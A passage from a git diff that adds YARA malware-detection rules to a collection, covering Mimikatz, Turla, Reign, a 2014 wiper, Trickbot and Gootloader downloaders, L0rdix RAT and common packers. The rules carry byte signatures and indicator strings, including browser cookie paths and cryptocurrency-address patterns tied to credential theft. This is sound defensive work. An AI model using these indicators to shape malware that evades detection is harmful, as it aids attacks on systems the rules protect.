+        // list of default passwords in 907B3FD96072ADCD08BB6ACA4BD07FC1 @ 0x4146b1
+        $passwords = "chelsea\x0055555\x00angel1\x00hardcore\x00dexter\x00saved\x00112233\x00hallo\x00"
+
+    condition:
+        $mz at 0 and $passwords
+}
+
diff --git a/yara-mikesxrs/GoDaddy/l_exe.yara b/yara-mikesxrs/GoDaddy/l_exe.yara
new file mode 100644
index 0000000..eeffaa0
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/l_exe.yara
@@ -0,0 +1,10 @@
+
+rule l_exe {
+    strings:
+        // 9B40C3E4B2288E29A0A15169B01F6EDE @ 0x401172
+        $decrypt_helper = { 8B50FC8BD98BFA8D2C8D00000000C1E704C1EB0333FB8BDAC1EB0533DD83C0FC03FB8B5C241C8BEB33E98B4C242433D103EA8B54241433FD8B68042BEF4A8968048BCD8954241475B78B7C2420 }
+
+    condition:
+        any of them
+}
+
diff --git a/yara-mikesxrs/GoDaddy/mimikatz.yara b/yara-mikesxrs/GoDaddy/mimikatz.yara
new file mode 100644
index 0000000..1f731a4
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/mimikatz.yara
@@ -0,0 +1,25 @@
+
+rule mimikatz_sekurlsa {
+    strings:
+        $s1 = { 33 DB 8B C3 48 83 C4 20 5B C3 }
+        $s2 = {83 64 24 30 00 44 8B 4C 24 48 48 8B 0D}
+        $s3 = {83 64 24 30 00 44 8B 4D D8 48 8B 0D}
+        $s4 = {84 C0 74 44 6A 08 68}
+        $s5 = {8B F0 3B F3 7C 2C 6A 02 6A 10 68}
+        $s6 = {8B F0 85 F6 78 2A 6A 02 6A 10 68}
+
+    condition:
+        all of them
+}
+
+rule mimikatz_decryptkeysign {
+    strings:
+        $s1 = { F6 C2 07 0F 85 0D 1A 02 00 }
+        $s2 = { F6 C2 07 0F 85 72 EA 01 00 }
+        $s3 = { 4C 8B CB 48 89 44 24 30}
+        $s4 = { 4c 89 1b 48 89 43 08 49 89 5b 08 48 8d }
+
+    condition:
+        3 of them
+}
+
diff --git a/yara-mikesxrs/GoDaddy/reign.yara b/yara-mikesxrs/GoDaddy/reign.yara
new file mode 100644
index 0000000..885222c
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/reign.yara
@@ -0,0 +1,26 @@
+rule Reign_1 {
+    meta:
+        info = "Reign"
+
+    strings:
+            $string_decode = {55 8b ec 5d 8b 45 08 0b c0 74 0c eb 05 fe 08 fe 08 40 80 38 00 75 f6}
+
+    condition:
+            $string_decode
+}
+
+
+rule Reign_Driver {
+    meta:
+        info = "Reign Driver Component (32-bit)"
+
+    strings:
+        // 2C8B9D2885543D7ADE3CAE98225E263B
+        // This is dead space at the end of the config block that will be constant between reconfigurations
+        $config_block_padding = {c739f2c8ee70ebc9cf31fac0e678d3f1f709c2f8de40dbf9ff01caf0}
+
+    condition:
+        $config_block_padding
+}
+
+
diff --git a/yara-mikesxrs/GoDaddy/rlpack.yara b/yara-mikesxrs/GoDaddy/rlpack.yara
new file mode 100644
index 0000000..10b99a3
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/rlpack.yara
@@ -0,0 +1,15 @@
+rule rlpack {
+    meta:
+        description = "RLPack packed file"
+        block = false
+        quarantine = false
+
+    strings:
+        $mz = "MZ"
+        $text1 = ".packed\x00"
+        $text2 = ".RLPack\x00"
+
+    condition:
+        $mz at 0 and $text1 in (0..1024) and $text2 in (0..1024)
+}
+
diff --git a/yara-mikesxrs/GoDaddy/sogu_packer.yara b/yara-mikesxrs/GoDaddy/sogu_packer.yara
new file mode 100644
index 0000000..ec965c4
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/sogu_packer.yara
@@ -0,0 +1,14 @@
+
+rule sogu {
+    meta:
+        block = false
+        quarantine = false
+
+    strings:
+        // 08E9FC6B4687C3F7FCFB86EAC870158F @ 0x4067F6
+        $mov_call_sequence = { A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 A1 ?? ?? ?? ?? FF D0 }
+    
+    condition:
+        $mov_call_sequence
+}
+
diff --git a/yara-mikesxrs/GoDaddy/turla.yara b/yara-mikesxrs/GoDaddy/turla.yara
new file mode 100644
index 0000000..6479741
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/turla.yara
@@ -0,0 +1,26 @@
+/*
+# 14ECD5E6FC8E501037B54CA263896A11 @ 0x80C2660
+>>> data = '2D72647852323138502E2930216A76242521717E7F7C3B213D2E670559404646400F07475B0A0359495E74010308076915101708415F0B0C0A58592627627E64753E62302B2F29296400'.decode('hex')
+>>> def decode(s):
+    result = ''
+    for i in xrange(len(s) - 5):
+        result += chr(ord(s[i]) ^ (i + 5))
+    return result
+
+>>> decode(data)
+'(tcp[8:4] & 0xe007ffff = 0x%xbebe) or (udp[12:4] & 0xe007ffff = 0x%xb'
+>>> 
+
+*/
+// linux apt backdoor
+rule turla {
+    strings:
+        // 14ECD5E6FC8E501037B54CA263896A11 @ 0x084680
+        $xor_loop = { 8d4a05 328a ???????? 888a ???????? 42 83fa08 76eb }
+        // 14ECD5E6FC8E501037B54CA263896A11 @ 0x80c2660
+        $enc_string = { 2D72647852323138502E2930216A76 }
+
+    condition:
+        any of them
+}
+
diff --git a/yara-mikesxrs/GoDaddy/upx.yara b/yara-mikesxrs/GoDaddy/upx.yara
new file mode 100644
index 0000000..3d2c94c
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/upx.yara
@@ -0,0 +1,18 @@
+
+rule upx {
+    meta:
+        description = "UPX packed file"
+
+        block = false
+        quarantine = false
+
+    strings:
+        $mz = "MZ"
+        $upx1 = {55505830000000}
+        $upx2 = {55505831000000}
+        $upx_sig = "UPX!"
+
+    condition:
+        $mz at 0 and $upx1 in (0..1024) and $upx2 in (0..1024) and $upx_sig in (0..1024)
+}
+
diff --git a/yara-mikesxrs/GoDaddy/vmprotect.yara b/yara-mikesxrs/GoDaddy/vmprotect.yara
new file mode 100644
index 0000000..bd45ea0
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/vmprotect.yara
@@ -0,0 +1,17 @@
+
+rule vmprotect {
+    meta:
+        description = "VMProtect packed file"
+
+        block = false
+        quarantine = false
+
+    strings:
+        $mz = "MZ"
+        $vmp0 = {2E766D7030000000}
+        $vmp1 = {2E766D7031000000}
+
+    condition:
+        $mz at 0 and $vmp0 in (0x100..0x300) and $vmp1 in (0x100..0x300)
+}
+
diff --git a/yara-mikesxrs/GoDaddy/wiper.yara b/yara-mikesxrs/GoDaddy/wiper.yara
new file mode 100644
index 0000000..4fee114
--- /dev/null
+++ b/yara-mikesxrs/GoDaddy/wiper.yara
@@ -0,0 +1,77 @@
+
+rule wiper {
+    meta:
+        description = "Wiper malware deployed in late 2014 skywiper attacks"
+
+    strings:
+        // 760C35A80D758F032D02CF4DB12D3E55 @ 0x40124A
+        $decryption_main_loop = {8bcbe8????????8a143e32d088143e463bf57cec5f}
+        // 760C35A80D758F032D02CF4DB12D3E55 @ 0x40118d
+        $context_init_loop1 = { 8b790c8b411033f78971088bf033f789710c8b710833c64b89411075e3 }
+        // 760C35A80D758F032D02CF4DB12D3E55 @ 0x4011b4
+        $context_init_loop2 = { 8b510c8b41100bf28971088bf00bf289710c8b71080bc64f89411075e3 }
+        $MZ = "MZ"
+
+    condition:
+        $MZ at 0 and 2 of them
+}
+
+rule wiper_payload_dropper {
+    meta:
+        description = "Wiper implant"
+        filename = "iissvr.exe"
+
+    strings:
+        $MZ = "MZ"
+
+        // the following 3 are used to transfer html/wav/jpg data from the resource section (these include the resource name following the http data)
+        $html={485454502F312E3120323030204F4B0D0A436F6E74656E742D4C656E6774683A2025640D0A436F6E74656E742D547970653A20746578742F68746D6C0D0A4163636570742D52616E6765733A2062797465730D0A5365727665723A204D6963726F736F66742D4949532F362E300D0A0D0A000000525352435F48544D4C00}
+
+        $wav={485454502F312E3120323030204F4B0D0A436F6E74656E742D4C656E6774683A2025640D0A436F6E74656E742D547970653A20696D6167652F6A7065670D0A4163636570742D52616E6765733A2062797465730D0A5365727665723A204D6963726F736F66742D4949532F362E300D0A0D0A0000525352435F4A504700} 
+
+        $jpg={485454502F312E3120323030204F4B0D0A436F6E74656E742D4C656E6774683A2025640D0A436F6E74656E742D547970653A20617564696F2F7761760D0A4163636570742D52616E6765733A2062797465730D0A5365727665723A204D6963726F736F66742D4949532F362E300D0A0D0A000000525352435F57415600}
+
+    condition:
+        $MZ at 0 and ($html or $wav or $jpg)
+}
+
+/*
+// Moderate confidence that this rule matches a legitimate driver component used by the wiper malware
+// as opposed to it having been signed by a stolen certificate.
+// It's commented out here because it could hit on legitimate software and the userland component
+// will be detected by signatures anyway.
+rule wiper_driver_component {
+    meta:
+        description = "Wiper implant"
+        filename = "usbdrv3.sys"
+
+    strings:
+        $MZ = "MZ"
+
+        // 86E212B7FC20FC406C692400294073FF @ 0x15F55
+        $switch_table1 = {4C89B424C8000000488B4F088B414883F802742D83F807742883F81F742383F824741E83F82D741983F831741483F836740F83F830740ABB240000C0E9}
+        // @ 0x164D8
+        $switch_table2 = {488BF08B484883F903741D83F908741883F909741383F914740E83F920740983F9350F}
+
+    condition:
+        $MZ at 0 and $switch_table1 and $switch_table2
+}
+*/
+
+rule wiper_payload_dropper2 {
+    meta:
+        description = "Wiper implant"
+        filename = "ams.exe"
+
+    strings:
+        $MZ = "MZ"
+
+        // 7E5FEE143FB44FDB0D24A1D32B2BD4BB
+        $process_hacker_ascii = {5c4465766963655c4b50726f636573734861636b657232}
+        $process_hacker_unicode = {5c004400650076006900630065005c004b00500072006f0063006500730073004800610063006b006500720032000000}
+        $mcshield_string = {53595354454d5c43757272656e74436f6e74726f6c5365745c73657276696365735c4d63536869656c6400}
+
+    condition:
+        $MZ at 0 and ($process_hacker_ascii or $process_hacker_unicode) and $mcshield_string
+}
+
diff --git a/yara-mikesxrs/HP_Security/doc_efax_buran.yar b/yara-mikesxrs/HP_Security/doc_efax_buran.yar
new file mode 100644
index 0000000..98a6014
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/doc_efax_buran.yar
@@ -0,0 +1,17 @@
+rule doc_efax_buran {
+	meta:
+		author = "Alex Holland (@cryptogramfan)"
+        reference = "https://threatresearch.ext.hp.com/buran-ransomware-targets-german-organisations-through-malicious-spam-campaign/"
+		date = "2019-10-10"
+		sample_1 = "7DD46D28AAEC9F5B6C5F7C907BA73EA012CDE5B5DC2A45CDA80F28F7D630F1B0"
+		sample_2 = "856D0C14850BE7D45FA6EE58425881E5F7702FBFBAD987122BB4FF59C72507E2"
+		sample_3 = "33C8E805D8D8A37A93D681268ACCA252314FF02CF9488B6B2F7A27DD07A1E33A"
+		
+	strings:
+		$vba = "vbaProject.bin" ascii nocase
+		$image = "image1.jpeg" ascii nocase
+		$padding_xml = /[a-zA-Z0-9]{5,40}\d{10}\.xml/ ascii
+		
+	condition:
+		all of them and filesize < 800KB
+}
diff --git a/yara-mikesxrs/HP_Security/js_RATDispenser.yar b/yara-mikesxrs/HP_Security/js_RATDispenser.yar
new file mode 100644
index 0000000..c404f36
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/js_RATDispenser.yar
@@ -0,0 +1,31 @@
+rule js_RATDispenser : downloader
+{
+  meta:
+    description = "JavaScript downloader resp. dropper delivering various RATs"
+    reference = "https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/"
+    author = "HP Threat Research @HPSecurity"
+    filetype = "JavaScript"
+    maltype = "Downloader"
+    date = "2021-05-27" 
+
+  strings:
+    $a = /{(\d)}/
+
+    $c1 = "/{(\\d+)}/g"
+    $c2 = "eval"
+    $c3 = "prototype"
+
+    $d1 = "\\x61\\x64\\x6F\\x64\\x62\\x2E"
+    $d2 = "\\x43\\x68\\x61\\x72\\x53\\x65\\x74"
+    $d3 = "\\x54\\x79\\x70\\x65"
+
+    $e1 = "adodb."
+    $e2 = "CharSet"
+    $e3 = "Type"
+
+    $f1 = "arguments"
+    $f2 = "this.replace"
+
+  condition:
+    #a > 50 and all of ($c*) and (any of ($d*) or any of ($e*)) and all of ($f*) and filesize < 2MB
+}
diff --git a/yara-mikesxrs/HP_Security/js_downloader_gootloader.yar b/yara-mikesxrs/HP_Security/js_downloader_gootloader.yar
new file mode 100644
index 0000000..ff0f80c
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/js_downloader_gootloader.yar
@@ -0,0 +1,27 @@
+rule js_downloader_gootloader : downloader
+{
+  meta:
+    description = "JavaScript downloader known to deliver Gootkit or REvil ransomware"
+    reference = "https://github.com/hpthreatresearch/tools/blob/main/gootloader/js_downloader_gootloader.yar"
+    author = "HP Threat Research @HPSecurity"
+    filetype = "JavaScript"
+    maltype = "Downloader"
+    date = "2021-02-22"
+
+  strings:
+    $a = "function"
+    $b1 = "while"
+    $b2 = "if"
+    $b3 = "else"
+    $b4 = "return"
+    $c = "charAt"
+    $d = "substr"
+    $e1 = "\".+"
+    $e2 = "\\=\\\""
+    $e3 = " r,"
+    $e4 = "+;\\\""
+    $f = /(\w+\[\w+\]\s+=\s+\w+\[\w+\[\w+\]\];)/
+
+  condition:
+    #a > 8 and #a > (#b4 + 3) and all of ($b*) and ($c or $d) and any of ($e*) and $f and filesize < 8000
+}
diff --git a/yara-mikesxrs/HP_Security/trickbot_maldoc_embedded_dll_september_2020.yar b/yara-mikesxrs/HP_Security/trickbot_maldoc_embedded_dll_september_2020.yar
new file mode 100644
index 0000000..647a262
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/trickbot_maldoc_embedded_dll_september_2020.yar
@@ -0,0 +1,18 @@
+rule trickbot_maldoc_embedded_dll_september_2020 {
+    meta:
+        author = "HP-Bromium Threat Research"
+        reference = "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/"
+        date = "2020-10-03"
+        sharing = "TLP:WHITE"
+
+    strings:
+        $magic = { D0 CF 11 E0 A1 B1 1A E1 }
+        $s1 = "EncryptedPackage" wide
+        $s2 = "{FF9A3F03-56EF-4613-BDD5-5A41C1D07246}" wide
+        $s3 = { FF FF FF FF FF FF FF FF FF FF ( 90 90 | 10 10 | E2 E2 | 17 17 ) FF FF FF FF FF FF FF FF FF FF }
+
+    condition:
+        $magic at 0 and
+        all of ($s*) and
+        (filesize > 500KB and filesize < 1000KB)
+}
diff --git a/yara-mikesxrs/HP_Security/win_l0rdix.yar b/yara-mikesxrs/HP_Security/win_l0rdix.yar
new file mode 100644
index 0000000..0004c8f
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/win_l0rdix.yar
@@ -0,0 +1,25 @@
+rule win_l0rdix {
+	meta:
+		author = "Alex Holland (Bromium Labs)"
+        reference = "https://threatresearch.ext.hp.com/an-analysis-of-l0rdix-rat-panel-and-builder/"
+		date = "2019-07-19"
+		sample_1 = "18C6AAF76985404A276466D73A89AC5B1652F8E9659473F5D6D656CA2705B0D3"
+		sample_2 = "C2A4D706D713937F47951D4E6E975754C137159DC2C30715D03331FC515AE4E8"
+		
+	strings:
+		$ua = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0" wide // Firefox 53 on Windows 10
+		$sig = "L0rdix" wide ascii
+		$sched_task = "ApplicationUpdateCallback" wide
+		$exe = "syscall.exe" wide
+		$cnc_url_1 = "connect.php?" wide
+		$cnc_url_2 = "show.php" wide 
+		$browser_1 = "\\Kometa\\User Data\\Default\\Cookies" wide 
+		$browser_2 = "\\Orbitum\\User Data\\Default\\Cookies" wide
+		$browser_3 = "\\Amigo\\User\\User Data\\Default\\Cookies" wide
+		$coin_regex_1 = "[13][a-km-zA-HJ-NP-Z1-9]{25,34}" wide // Bitcoin
+		$coin_regex_2 = "0x[a-fA-F0-9]{40}" wide // Ethereum
+		$coin_regex_3 = "L[a-zA-Z0-9]{26,33}" wide // Litecoin
+		
+	condition:
+		uint16(0) == 0x5A4D and (any of ($ua,$sig,$sched_task,$exe)) and (any of ($cnc_url_*)) and (any of ($browser_*)) and (any of ($coin_regex_*))
+}
diff --git a/yara-mikesxrs/HP_Security/win_ostap_jse.yar b/yara-mikesxrs/HP_Security/win_ostap_jse.yar
new file mode 100644
index 0000000..0483ec3
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/win_ostap_jse.yar
@@ -0,0 +1,18 @@
+rule win_ostap_jse {
+	meta:
+		author = "Alex Holland @cryptogramfan (Bromium Labs)"
+        reference = "https://threatresearch.ext.hp.com/deobfuscating-ostap-trickbots-javascript-downloader/"
+		date = "2019-08-29"
+		sample_1 = "F3E03E40F00EA10592F20D83E3C5E922A1CE6EA36FC326511C38F45B9C9B6586"
+		sample_2 = "38E2B6F06C2375A955BEA0337F087625B4E6E49F6E4246B50ECB567158B3717B"
+		
+	strings:
+		$comment = { 2A 2A 2F 3B } // Matches on **/;
+		$array_0 = /\w{5,8}\[\d+\]=\d{1,3};/
+		$array_1 = /\w{5,8}\[\d+\]=\d{1,3};/
+				
+	condition:
+		((($comment at 0) and (#array_0 > 100) and (#array_1 > 100)) or
+		((#array_0 > 100) and (#array_1 > 100))) and
+		(filesize > 500KB and filesize < 1500KB)
+}
diff --git a/yara-mikesxrs/HP_Security/xll_custom_builder.yar b/yara-mikesxrs/HP_Security/xll_custom_builder.yar
new file mode 100644
index 0000000..51c05e1
--- /dev/null
+++ b/yara-mikesxrs/HP_Security/xll_custom_builder.yar
@@ -0,0 +1,19 @@
+rule xll_custom_builder
+{
+  meta:
+    description = "XLL Custom Builder"
+    reference = "https://threatresearch.ext.hp.com/how-attackers-use-xll-malware-to-infect-systems/"
+    author = "patrick.schlapfer@hp.com"
+    date = "2022-01-07"
+
+  strings:
+    $str1 = "xlAutoOpen"
+    $str2 = "test"
+    $op1 = { 4D 6B C9 00 }
+    $op2 = { 4D 31 0E }
+    $op3 = { 49 83 C6 08 }
+    $op4 = { 49 39 C6 }
+
+  condition:
+    uint16(0) == 0x5A4D and all of ($str*) and all of ($op*) and filesize < 10KB
+}
diff --git a/yara-mikesxrs/HorribleCanoe/HorribleCanoe_index.yara b/yara-mikesxrs/HorribleCanoe/HorribleCanoe_index.yara
new file mode 100644
index 0000000..7afbcc5
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/HorribleCanoe_index.yara
@@ -0,0 +1,179 @@
+rule compiled_autoit {
+	strings:
+		$str1 = "This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support."
+
+	condition:
+		all of them
+}
+
+rule MSFTConnectionManagerPhonebook {
+	strings:
+		$cmpbk1 = "cmpbk32.dll"
+		$cmpbk2 = "PhoneBookEnumNumbersWithRegionsZero"
+		$cmpbk3 = "PhoneBookLoad"
+		$cmpbk4 = "PhoneBookUnload"
+		$cmpbk5 = "PhoneBookGetCurrentCountryId"
+		$cmpbk6 = "PhoneBookGetCountryNameA"
+		$cmpbk7 = "PhoneBookFreeFilter"
+		$cmpbk8 = "PhoneBookCopyFilter"
+		$cmpbk9 = "PhoneBookMatchFilter"
+		$cmpbk10 = "PhoneBookGetCountryId"
+		$cmpbk11 = "PhoneBookGetPhoneDescA"
+		$cmpbk12 = "PhoneBookHasPhoneType"
+		$cmpbk13 = "PhoneBookGetRegionNameA"
+		$cmpbk14 = "PhoneBookEnumRegions"
+		$cmpbk15 = "PhoneBookParseInfoA"
+		$cmpbk16 = "PhoneBookGetPhoneDUNA"
+		$cmpbk17 = "PhoneBookGetPhoneDispA"
+		$cmpbk18 = "PhoneBookGetPhoneCanonicalA"
+		$cmpbk19 = "PhoneBookGetPhoneType"
+		$cmpbk20 = "PhoneBookEnumNumbers"
+		$cmpbk21 = "PhoneBookMergeChanges"
+		$cmpbk22 = "PhoneBookGetPhoneNonCanonicalA"
+
+	condition:
+		12 of them
+}
+rule delphi_wlan {
+	strings:
+		$dll = "wlanapi.dll"
+
+		$api2 = "WlanOpenHandle"
+		$api3 = "WlanCloseHandle"
+		$api4 = "WlanEnumInterfaces"
+		$api5 = "WlanQueryInterface"
+		$api6 = "WlanGetAvailableNetworkList"
+
+		$options1 = "80211_OPEN"
+		$options2 = "80211_SHARED_KEY"
+		$options3 = "WPA_PSK"
+		$options4 = "WPA_NONE"
+		$options5 = "RSNA"
+		$options6 = "RSNA_PSK"
+		$options7 = "IHV_START"
+		$options8 = "IHV_END"
+		$options9 = "WEP104"
+		$options10 = "WPA_USE_GROUP OR RSN_USE_GROUP"
+		$options11 = "IHV_START"
+		$options12 = "IHV_END"
+		$options13 = "WEP40"
+
+	condition:
+		$dll and 3 of ($api*) and 6 of ($options*)
+}
+
+
+rule ejects_cdrom {
+	strings:
+		$cddoor1 = "mciSendString"
+		$cddoor2 = "set cdaudio door open"
+		$cddoor3 = "set cdaudio door closed"
+
+	condition:
+		2 of them
+}
+
+rule lowers_security {
+	strings:
+		$actions1 = "EnableLUA"
+		$actions2 = "AntiVirusDisableNotify"
+		$actions3 = "DisableNotifications"
+		$actions4 = "UpdatesDisableNotify"
+
+	condition:
+		2 of them
+}
+
+
+
+rule reads_clipboard {
+	strings:
+		$clipboard1 = "CloseClipboard"
+		$clipboard2 = "EmptyClipboard"
+		$clipboard3 = "EnumClipboardFormats"
+		$clipboard4 = "GetClipboardData"
+		$clipboard5 = "IsClipboardFormatAvailable"
+		$clipboard6 = "OpenClipboard"
+		$clipboard7 = "RefreshClipboard"
+		$clipboard8 = "RegisterClipboardFormat"
+		$clipboard9 = "SendYourClipboard"
+		$clipboard10 = "SetClipboardData"
+
+	condition:
+		5 of them
+}
+
+rule pcre {
+	strings:
+		$pcre1 = "this version of PCRE is not compiled with PCRE_UTF8 support"
+		$pcre2 = "this version of PCRE is not compiled with PCRE_UCP support"
+		$pcre3 = "alpha"
+		$pcre4 = "lower"
+		$pcre5 = "upper"
+		$pcre6 = "alnum"
+		$pcre7 = "ascii"
+		$pcre8 = "blank"
+		$pcre9 = "cntrl"
+		$pcre10 = "digit"
+		$pcre11 = "graph"
+		$pcre12 = "print"
+		$pcre13 = "punct"
+		$pcre14 = "space"
+		$pcre15 = "word"
+		$pcre16 = "xdigit"
+		$pcre17 = "at end of pattern"
+		$pcre18 = "numbers out of order in {} quantifier"
+		$pcre19 = "number too big in {} quantifier"
+		$pcre20 = "missing terminating ] for character class"
+		$pcre21 = "invalid escape sequence in character class"
+		$pcre22 = "range out of order in character class"
+		$pcre23 = "nothing to repeat"
+		$pcre24 = "operand of unlimited repeat could match the empty string"
+		$pcre25 = "internal error: unexpected repeat"
+		$pcre26 = "unrecognized character after (? or (?-"
+		$pcre27 = "POSIX named classes are supported only within a class"
+		$pcre28 = "missing )"
+		$pcre29 = "reference to non-existent subpattern"
+		$pcre30 = "erroffset passed as NULL"
+		$pcre31 = "unknown option bit(s) set"
+		$pcre32 = "missing ) after comment"
+		$pcre33 = "parentheses nested too deeply"
+		$pcre34 = "regular expression is too large"
+		$pcre35 = "failed to get memory"
+		$pcre36 = "unmatched parentheses"
+		$pcre37 = "internal error: code overflow"
+		$pcre38 = "unrecognized character after (?<"
+		$pcre39 = "lookbehind assertion is not fixed length"
+		$pcre40 = "malformed number or name after (?("
+		$pcre41 = "conditional group contains more than two branches"
+		$pcre42 = "assertion expected after (?("
+		$pcre43 = "(?R or (?[+-]digits must be followed by )"
+		$pcre44 = "unknown POSIX class name"
+		$pcre45 = "POSIX collating elements are not supported"
+		$pcre46 = "this version of PCRE is not compiled with PCRE_UTF8 support"
+		$pcre47 = "spare error"
+		$pcre48 = "character value in x{...} sequence is too large"
+		$pcre49 = "invalid condition (?(0)"
+		$pcre50 = "number after (?C is > 255"
+		$pcre51 = "closing ) for (?C expected"
+		$pcre52 = "recursive call could loop indefinitely"
+		$pcre53 = "unrecognized character after (?P"
+		$pcre54 = "syntax error in subpattern name (missing terminator)"
+		$pcre55 = "two named subpatterns have the same name"
+		$pcre56 = "invalid UTF-8 string"
+		$pcre57 = "subpattern name is too long (maximum 32 characters)"
+		$pcre58 = "too many named subpatterns (maximum 10000)"
+		$pcre59 = "repeated subpattern is too long"
+		$pcre60 = "octal value is greater than 377 (not in UTF-8 mode)"
+		$pcre61 = "internal error: overran compiling workspace"
+		$pcre62 = "internal error: previously-checked referenced subpattern not found"
+		$pcre63 = "DEFINE group contains more than one branch"
+		$pcre64 = "repeating a DEFINE group is not allowed"
+		$pcre65 = "inconsistent NEWLINE options"
+		$pcre66 = "different names for subpatterns of the same number are not allowed"
+		$pcre67 = "subpattern name expected"
+		$pcre68 = "a numbered reference must not be zero"
+
+	condition:
+		30 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/compiled_autoit.yara b/yara-mikesxrs/HorribleCanoe/compiled_autoit.yara
new file mode 100644
index 0000000..87a6bed
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/compiled_autoit.yara
@@ -0,0 +1,7 @@
+rule compiled_autoit {
+	strings:
+		$str1 = "This is a compiled AutoIt script. AV researchers please email avsupport@autoitscript.com for support."
+
+	condition:
+		all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/connection_manager_phonebook.yara b/yara-mikesxrs/HorribleCanoe/connection_manager_phonebook.yara
new file mode 100644
index 0000000..58e5592
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/connection_manager_phonebook.yara
@@ -0,0 +1,28 @@
+rule MSFTConnectionManagerPhonebook {
+	strings:
+		$cmpbk1 = "cmpbk32.dll"
+		$cmpbk2 = "PhoneBookEnumNumbersWithRegionsZero"
+		$cmpbk3 = "PhoneBookLoad"
+		$cmpbk4 = "PhoneBookUnload"
+		$cmpbk5 = "PhoneBookGetCurrentCountryId"
+		$cmpbk6 = "PhoneBookGetCountryNameA"
+		$cmpbk7 = "PhoneBookFreeFilter"
+		$cmpbk8 = "PhoneBookCopyFilter"
+		$cmpbk9 = "PhoneBookMatchFilter"
+		$cmpbk10 = "PhoneBookGetCountryId"
+		$cmpbk11 = "PhoneBookGetPhoneDescA"
+		$cmpbk12 = "PhoneBookHasPhoneType"
+		$cmpbk13 = "PhoneBookGetRegionNameA"
+		$cmpbk14 = "PhoneBookEnumRegions"
+		$cmpbk15 = "PhoneBookParseInfoA"
+		$cmpbk16 = "PhoneBookGetPhoneDUNA"
+		$cmpbk17 = "PhoneBookGetPhoneDispA"
+		$cmpbk18 = "PhoneBookGetPhoneCanonicalA"
+		$cmpbk19 = "PhoneBookGetPhoneType"
+		$cmpbk20 = "PhoneBookEnumNumbers"
+		$cmpbk21 = "PhoneBookMergeChanges"
+		$cmpbk22 = "PhoneBookGetPhoneNonCanonicalA"
+
+	condition:
+		12 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/delphi-wlan.yara b/yara-mikesxrs/HorribleCanoe/delphi-wlan.yara
new file mode 100644
index 0000000..085d882
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/delphi-wlan.yara
@@ -0,0 +1,27 @@
+rule delphi_wlan {
+	strings:
+		$dll = "wlanapi.dll"
+
+		$api2 = "WlanOpenHandle"
+		$api3 = "WlanCloseHandle"
+		$api4 = "WlanEnumInterfaces"
+		$api5 = "WlanQueryInterface"
+		$api6 = "WlanGetAvailableNetworkList"
+
+		$options1 = "80211_OPEN"
+		$options2 = "80211_SHARED_KEY"
+		$options3 = "WPA_PSK"
+		$options4 = "WPA_NONE"
+		$options5 = "RSNA"
+		$options6 = "RSNA_PSK"
+		$options7 = "IHV_START"
+		$options8 = "IHV_END"
+		$options9 = "WEP104"
+		$options10 = "WPA_USE_GROUP OR RSN_USE_GROUP"
+		$options11 = "IHV_START"
+		$options12 = "IHV_END"
+		$options13 = "WEP40"
+
+	condition:
+		$dll and 3 of ($api*) and 6 of ($options*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/ejects_cdrom.yara b/yara-mikesxrs/HorribleCanoe/ejects_cdrom.yara
new file mode 100644
index 0000000..40f6d26
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/ejects_cdrom.yara
@@ -0,0 +1,9 @@
+rule ejects_cdrom {
+	strings:
+		$cddoor1 = "mciSendString"
+		$cddoor2 = "set cdaudio door open"
+		$cddoor3 = "set cdaudio door closed"
+
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/lowers_security.yara b/yara-mikesxrs/HorribleCanoe/lowers_security.yara
new file mode 100644
index 0000000..98776b4
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/lowers_security.yara
@@ -0,0 +1,10 @@
+rule lowers_security {
+	strings:
+		$actions1 = "EnableLUA"
+		$actions2 = "AntiVirusDisableNotify"
+		$actions3 = "DisableNotifications"
+		$actions4 = "UpdatesDisableNotify"
+
+	condition:
+		2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/HorribleCanoe/pcre.yara b/yara-mikesxrs/HorribleCanoe/pcre.yara
new file mode 100644
index 0000000..ff63f2b
--- /dev/null
+++ b/yara-mikesxrs/HorribleCanoe/pcre.yara
@@ -0,0 +1,74 @@
+rule pcre {
+	strings:
+		$pcre1 = "this version of PCRE is not compiled with PCRE_UTF8 support"
+		$pcre2 = "this version of PCRE is not compiled with PCRE_UCP support"
+		$pcre3 = "alpha"
+		$pcre4 = "lower"
+		$pcre5 = "upper"
+		$pcre6 = "alnum"
+		$pcre7 = "ascii"
+		$pcre8 = "blank"
+		$pcre9 = "cntrl"
+		$pcre10 = "digit"
